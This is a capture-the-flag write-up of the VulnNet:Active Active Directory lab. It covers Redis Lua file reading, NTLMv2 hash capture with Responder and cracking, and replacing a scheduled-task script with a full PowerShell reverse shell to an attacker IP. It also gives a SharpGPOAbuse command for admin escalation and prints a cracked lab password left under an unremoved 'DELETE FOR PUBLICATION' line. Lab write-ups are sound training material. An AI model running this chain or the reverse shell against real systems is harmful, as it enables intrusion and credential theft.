VulnNet:Active
is a medium Windows room with focus on Active Directory enumeration/exploitation. First, we had to exploit a well known Redis vulnerability which allowed us to partially access files. This vulnerability was exploited to access a remote SMB share hosted on our attacker machine to retrieve the user’s NTLM hash. This hash was then cracked to obtain the user’s password. Next, using these credentials, we were able to enumerate the SMB shares. It turned out, that one of the ScheduledTask files was located in one of those shares to which we had write access. This allowed us to replace the content of this file and thus get initial access to the system. For privilege escalation, we had to use BloodHound in order to determine the attack path. It was revealed that we had GenericWrite permissions to one of the GPOs. Using a tool called SharpGPOAbuse, we were able to use these write permissions to add our current user to the Administrator group and thus gain full control over the server.
Note: The target machine stopped responding several times during the assessment. Therefore, the IP addresses in the report might change from time to time, even though we are always looking at the same machine.
Enumeration
As always, we start by scanning the target machine’s open ports:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
rustscan --ulimit 5000 vulnnet-active.local -- sV -sC -oN nmap_scan
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
6379/tcp open redis Redis key-value store 2.8.2402
9389/tcp open mc-nmf .NET Message Framing
49666/tcp open msrpc Microsoft Windows RPC
49668/tcp open msrpc Microsoft Windows RPC
49669/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49670/tcp open msrpc Microsoft Windows RPC
49673/tcp open msrpc Microsoft Windows RPC
49693/tcp open msrpc Microsoft Windows RPC
49782/tcp open msrpc Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
The nmap output gives us plenty of information about the targeted host. We have several open ports. Among others, we have open SMB ports (139 and 445), an open RCP port (135) and an exposed Redis server (6379).
Enumeration of SMB
For the enumeration of the SMB shares, we use enum4linux-ng
. Unfortunately, we cannot determine any available shares. All requests are denied due to missing authentication. So we first have to find some valid credentials, before we come back to the SMB enumeration.
Enumeration of Redis
Redis is NoSQL database, which stores everything in RAM as key/value pairs. By default, a text-oriented interface is reachable on port TCP/6379 without authentication.
Redis - “The open source, in-memory data store used by millions of developers as a database, cache, streaming engine, and message broker.” https://redis.io/
According to HackTricks, there are several techniques how to enumerate Redis. The most recommended one is to use the tool redis-cli
to communicate with the Redis server.
Common commands to run are the following:
-
INFO
: displays general information about the Redis server including software version, databases, memory and clients. Here, we can determine the Redis server version:2.8.2402
. -
CONFIG GET *
: displays the current config of the redis server. Here, we can also see that a usernameenterprise-security
is being leaked. Besides that, no useful information can be extracted.
Exploitation of Redis
Going through the HackTricks list, we find an article that shows how to exploit earlier versions of Redis (our version 2.8.2402 is amongst them):
“Redis can execute Lua scripts (in a sandbox, more on that later) via the “EVAL” command. The sandbox allows the dofile() command (WHY???). It can be used to enumerate files and directories. No specific privilege is needed by Redis… If the Lua script is syntaxically invalid or attempts to set global variables, the error messages will leak some content of the target file”
Interesting. So let’s try if we can read some files using this technique.
Reading files
As explained in the linked article, the command we use is the following:
1
2
┌──(kali㉿kali)-[~/THM/rooms/vulnnet_active]
└─$ redis-cli -h 10.10.245.19 eval "dofile('<PATH TO FILE>')" 0
The problem hereby is: we dont know what we are looking for nor do we know if this technique actually works. So we try to find some common files first, so that we can definitely confirm that it works.
Therefore, we try some of the common windows files that are usually used for Local File Inclusion.
Here, we can clearly see that depending on the file, we get different error messages! Apparently we can’t read high privilege files. Thus the assumption is that we are not execution commands as high privileged user. The first hit we get when trying to read the hosts
file. The error is unexpected symbol near #
… That’s the symbol on the very first line of a typical hosts file. So this seems promising. Further, we know that there is a user called enterprise-security
(we saw that in redis configs). What if the user has the user.txt file on his/her Desktop? It works! We just dumped the user flag. Now we can definitely confirm that the technique works. But what can we do with it?
Obtaining the NTLMv2 Hash / User’s password
Now that we know that we can access files on the server, we can try to do some more advanced stuff. We could try to access a remote share. This would leak the NTLM hash of the user as he/she tries to authenticate himself/herself. If this remote share is on our machine, we could attempt to log the access and thus get access to the hash.
For that, we first set up a listener using Impacket's Responder.py
.
1
2
┌──(kali㉿kali)-[~/THM/rooms/vulnnet_active]
└─$ sudo responder -I tun0
Then, we use the redis eval technique to access the exposed share.
1
2
┌──(kali㉿kali)-[~/THM/rooms/vulnnet_active]
└─$ redis-cli -h 10.10.245.19 eval "dofile('//10.11.60.43/test')" 0
There we go! We captured a request containing the user’s NTLMv2 hash.
We can now attempt to crack the hash using hashcat
.
1
2
┌──(kali㉿kali)-[~/THM/rooms/vulnnet_active]
└─$ hashcat -m 5600 responder_ntlm_hash /usr/share/wordlists/rockyou.txt
After a few seconds, we got a match! We got the password for the user enterprise-security
.
DELETE FOR PUBLICATION!!!!!
We now have valid credentials enterprise-security:sand_0873959498
Enumeration of the SMB Server - Round 2
As noted before, the SMB server refused any connection without authentication. Now that we have valid credentials, we can go back and continue the enumeration of the SMB shares.
First, we use smbmap
to list all available shares.
Here, we see that we have READ access to four different shares. One of them is the IPC$
share. A technique that works with these permissions on this share, which we also have seen before in the VulnNet:Roasted
room, is the enumeration of usernames using RID Cycling
.
Dumping usernames
For details on how this method works, please refer to the writeup of VulnNet:Roasted
.
This time, we simply use Impacket's lookupsids.py
script:
As output, we obtain 7 usernames of the domain vulnnet
. However, since there is no Kerberos service exposed, we cannot attempt AS-REP Roasting or something similar. We have to dig deeper!
Enumerating the Enterprise-Share
Another share we discovered is the Enterprise-Share
share. Let’s see if it contains some useful information.
Hmm… A file named PurgeIrrelevantData_1826.ps1
. The content is also not very promising:
1
rm -Force C:\Users\Public\Documents\* -ErrorAction SilentlyContinue
Initial Foothold
Can this powershell script help us in any way? The name of the script is rather suspicious. This sounds like a typical file that’s called on a regular basis such as a ScheduledTask? Do we have write permissions for that share?
Yes we do! The idea is now to replace that PurgeIrrelevantData_1826.ps1
file with a powershell reverse shell script, that establishes a reverse shell to our attacker machine. If the assumption - that this is executed via a ScheduledTask - is correct, then this would work! Let’s try it.
We store the following powershell reverse shell in a file called PurgeIrrelevantData_1826.ps1
:
1
$client = New-Object System.Net.Sockets.TCPClient("10.11.60.43",4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
Then, we upload that file into the SMB share Enterprise-share
and set up a nc listener to catch the reverse shell. Then we wait:
Finally! We got access to the system!
Privilege Escalation
First, we start with some basic enumeration of the domain. As tools we use powershell and PowerView.ps1. However, after hours of enumeration, we couldnt discover anything useful. Time for something more powerful: SharpHound and BloodHound!
After uploading and running SharpHound.exe, we transfer the generated .zip
file back to our local machine using the share located in C:\Enterprise-Share
(The path of the shares can be found using the Get-SmbShare
cmdlet). Then, we use BloodHound to analyse the found data: Immediately, BloodHound gives us the shortest path from our current user enterprise-security
to the Administrator
. Apparently, we do have GenericWrite
Permissions to one of the GPO
s - namely security-pol-vn
.
Luckily for us, there are several tools that help us with exploiting this. We decided to use the tool SharpGPOAbuse.exe
1
.\SharpGPOAbuse.exe --AddComputerTask --TaskName "babbadeckl_privesc" --Author vulnnet\administrator --Command "cmd.exe" --Arguments "/c net localgroup administrators enterprise-security /add" --GPOName "SECURITY-POL-VN"
Once executed, we only have to run the following command to update the permissions:
1
gpupdate \force
Now we can access the Administrator directory via SMB. Final step is to obtain the sytem flag.